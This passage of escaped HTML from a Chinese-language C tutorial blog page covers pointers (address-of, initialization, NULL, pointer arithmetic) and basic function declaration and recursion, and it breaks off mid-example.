class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;x\u0026#39;s address is %p\\n\u0026#34;\u003c/span\u003e, \u0026amp;x);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ex\u003c/code\u003e是一个整数变量,\u003ccode\u003e\u0026amp;x\u003c/code\u003e就是\u003ccode\u003ex\u003c/code\u003e的值所在的内存地址。\u003ccode\u003eprintf()\u003c/code\u003e的\u003ccode\u003e%p\u003c/code\u003e是内存地址的占位符,可以打印出内存地址。\u003c/p\u003e\u003cp\u003e上一小节中,参数变量加\u003ccode\u003e1\u003c/code\u003e的函数,可以像下面这样使用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eincrement\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *p = *p + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eincrement(\u0026amp;x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,调用\u003ccode\u003eincrement()\u003c/code\u003e函数以后,变量\u003ccode\u003ex\u003c/code\u003e的值就增加了1,原因就在于传入函数的是变量\u003ccode\u003ex\u003c/code\u003e的地址\u003ccode\u003e\u0026amp;x\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e\u0026amp;\u003c/code\u003e运算符与\u003ccode\u003e*\u003c/code\u003e运算符互为逆运算,下面的表达式总是成立。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i == *(\u0026amp;i)) \u003cspan class=\"comment\"\u003e// 正确\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"指针变量的初始化\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%8C%87%E9%92%88%E5%8F%98%E9%87%8F%E7%9A%84%E5%88%9D%E5%A7%8B%E5%8C%96\" class=\"headerlink\" title=\"指针变量的初始化\"\u003e\u003c/a\u003e指针变量的初始化\u003c/h3\u003e\u003cp\u003e声明指针变量之后,编译器会为指针变量本身分配一个内存空间,但是这个内存空间里面的值是随机的,也就是说,指针变量指向的值是随机的。这时一定不能去读写指针变量指向的地址,因为那个地址是随机地址,很可能会导致严重后果。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*p = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码是错的,因为\u003ccode\u003ep\u003c/code\u003e指向的那个地址是随机的,向这个随机地址里面写入\u003ccode\u003e1\u003c/code\u003e,会导致意想不到的结果。\u003c/p\u003e\u003cp\u003e正确做法是指针变量声明后,必须先让它指向一个分配好的地址,然后再进行读写,这叫做指针变量的初始化。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep = \u0026amp;i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*p = \u003cspan class=\"number\"\u003e13\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ep\u003c/code\u003e是指针变量,声明这个变量后,\u003ccode\u003ep\u003c/code\u003e会指向一个随机的内存地址。这时要将它指向一个已经分配好的内存地址,上例就是再声明一个整数变量\u003ccode\u003ei\u003c/code\u003e,编译器会为\u003ccode\u003ei\u003c/code\u003e分配内存地址,然后让\u003ccode\u003ep\u003c/code\u003e指向\u003ccode\u003ei\u003c/code\u003e的内存地址(\u003ccode\u003ep = \u0026amp;i;\u003c/code\u003e)。完成初始化之后,就可以对\u003ccode\u003ep\u003c/code\u003e指向的内存地址进行赋值了(\u003ccode\u003e*p = 13;\u003c/code\u003e)。\u003c/p\u003e\u003cp\u003e为了防止读写未初始化的指针变量,可以养成习惯,将未初始化的指针变量设为\u003ccode\u003eNULL\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eNULL\u003c/code\u003e在 C 语言中是一个常量,表示地址为\u003ccode\u003e0\u003c/code\u003e的内存空间,这个地址是无法使用的,读写该地址会报错。\u003c/p\u003e\u003ch3 id=\"指针的运算\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%8C%87%E9%92%88%E7%9A%84%E8%BF%90%E7%AE%97\" class=\"headerlink\" title=\"指针的运算\"\u003e\u003c/a\u003e指针的运算\u003c/h3\u003e\u003cp\u003e指针本质上就是一个无符号整数,代表了内存地址。它可以进行运算,但是规则并不是整数运算的运算。\u003c/p\u003e\u003cp\u003e(1)指针与整数值的加减运算\u003c/p\u003e\u003cp\u003e指针与整数值的运算,表示指针的移动。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eshort\u003c/span\u003e* j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej = (\u003cspan class=\"type\"\u003eshort\u003c/span\u003e*)\u003cspan class=\"number\"\u003e0x1234\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej = j + \u003cspan class=\"number\"\u003e1\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 0x1236\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ej\u003c/code\u003e是一个指针,指向内存地址\u003ccode\u003e0x1234\u003c/code\u003e。你可能以为\u003ccode\u003ej + 1\u003c/code\u003e等于\u003ccode\u003e0x1235\u003c/code\u003e,但正确答案是\u003ccode\u003e0x1236\u003c/code\u003e。原因是\u003ccode\u003ej + 1\u003c/code\u003e表示指针向高位移动一个单位,而一个单位的\u003ccode\u003eshort\u003c/code\u003e类型占据两个字节的宽度,所以相当于向高位移动两个字节。同样的,\u003ccode\u003ej - 1\u003c/code\u003e得到的结果是\u003ccode\u003e0x1232\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e指针移动的单位,与指针指向的数据类型有关。数据类型占据多少个字节,每单位就移动多少个字节。\u003c/p\u003e\u003cp\u003e(2)指针与指针的加法运算\u003c/p\u003e\u003cp\u003e指针只能与整数值进行加减运算,两个指针进行加法是非法的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e* j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e* k;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex = j + k; \u003cspan class=\"comment\"\u003e// 非法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是两个指针相加,这是非法的。\u003c/p\u003e\u003cp\u003e(3)指针与指针的减法\u003c/p\u003e\u003cp\u003e相同类型的指针允许进行减法运算,返回它们之间的距离,即相隔多少个数据单位。\u003c/p\u003e\u003cp\u003e高位地址减去低位地址,返回的是正值;低位地址减去高位地址,返回的是负值。\u003c/p\u003e\u003cp\u003e这时,减法返回的值属于\u003ccode\u003eptrdiff_t\u003c/code\u003e类型,这是一个带符号的整数类型别名,具体类型根据系统不同而不同。这个类型的原型定义在头文件\u003ccode\u003estddef.h\u003c/code\u003e里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eshort\u003c/span\u003e* j1;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eshort\u003c/span\u003e* j2;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej1 = (\u003cspan class=\"type\"\u003eshort\u003c/span\u003e*)\u003cspan class=\"number\"\u003e0x1234\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej2 = (\u003cspan class=\"type\"\u003eshort\u003c/span\u003e*)\u003cspan class=\"number\"\u003e0x1236\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eptrdiff_t\u003c/span\u003e dist = j2 - j1;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, dist); \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ej1\u003c/code\u003e和\u003ccode\u003ej2\u003c/code\u003e是两个指向 short 类型的指针,变量\u003ccode\u003edist\u003c/code\u003e是它们之间的距离,类型为\u003ccode\u003eptrdiff_t\u003c/code\u003e,值为\u003ccode\u003e1\u003c/code\u003e,因为相差2个字节正好存放一个 short 类型的值。\u003c/p\u003e\u003cp\u003e(4)指针与指针的比较运算\u003c/p\u003e\u003cp\u003e指针之间的比较运算,比较的是各自的内存地址哪一个更大,返回值是整数\u003ccode\u003e1\u003c/code\u003e(true)或\u003ccode\u003e0\u003c/code\u003e(false)。\u003c/p\u003e\u003ch2 id=\"函数-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%87%BD%E6%95%B0-1\" class=\"headerlink\" title=\"函数\"\u003e\u003c/a\u003e函数\u003c/h2\u003e\u003ch3 id=\"简介-2\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-2\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e函数是一段可以重复执行的代码。它可以接受不同的参数,完成对应的操作。下面的例子就是一个函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eplus_one\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e n + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码声明了一个函数\u003ccode\u003eplus_one()\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e函数声明的语法有以下几点,需要注意。\u003c/p\u003e\u003cp\u003e(1)返回值类型。函数声明时,首先需要给出返回值的类型,上例是\u003ccode\u003eint\u003c/code\u003e,表示函数\u003ccode\u003eplus_one()\u003c/code\u003e返回一个整数。\u003c/p\u003e\u003cp\u003e(2)参数。函数名后面的圆括号里面,需要声明参数的类型和参数名,\u003ccode\u003eplus_one(int n)\u003c/code\u003e表示这个函数有一个整数参数\u003ccode\u003en\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e(3)函数体。函数体要写在大括号里面,后面(即大括号外面)不需要加分号。大括号的起始位置,可以跟函数名在同一行,也可以另起一行,本书采用同一行的写法。\u003c/p\u003e\u003cp\u003e(4)\u003ccode\u003ereturn\u003c/code\u003e语句。\u003ccode\u003ereturn\u003c/code\u003e语句给出函数的返回值,程序运行到这一行,就会跳出函数体,结束函数的调用。如果函数没有返回值,可以省略\u003ccode\u003ereturn\u003c/code\u003e语句,或者写成\u003ccode\u003ereturn;\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e调用函数时,只要在函数名后面加上圆括号就可以了,实际的参数放在圆括号里面,就像下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = plus_one(\u003cspan class=\"number\"\u003e13\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// a 等于 14\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e函数调用时,参数个数必须与定义里面的参数个数一致,参数过多或过少都会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eplus_one\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e n + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eplus_one(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eplus_one(); \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003eplus_one()\u003c/code\u003e只能接受一个参数,传入两个参数或不传参数,都会报错。\u003c/p\u003e\u003cp\u003e函数必须声明后使用,否则会报错。也就是说,一定要在使用\u003ccode\u003eplus_one()\u003c/code\u003e之前,声明这个函数。如果像下面这样写,编译时会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = plus_one(\u003cspan class=\"number\"\u003e13\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eplus_one\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e n + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,在调用\u003ccode\u003eplus_one()\u003c/code\u003e之后,才声明这个函数,编译就会报错。\u003c/p\u003e\u003cp\u003eC 语言标准规定,函数只能声明在源码文件的顶层,不能声明在其他函数内部。\u003c/p\u003e\u003cp\u003e不返回值的函数,使用\u003ccode\u003evoid\u003c/code\u003e关键字表示返回值的类型。没有参数的函数,声明时要用\u003ccode\u003evoid\u003c/code\u003e关键字表示参数类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emyFunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的\u003ccode\u003emyFunc()\u003c/code\u003e函数,既没有返回值,调用时也不需要参数。\u003c/p\u003e\u003cp\u003e函数可以调用自身,这就叫做递归(recursion)。下面是斐波那契数列的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"title function_\"\u003eFibonacci\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e 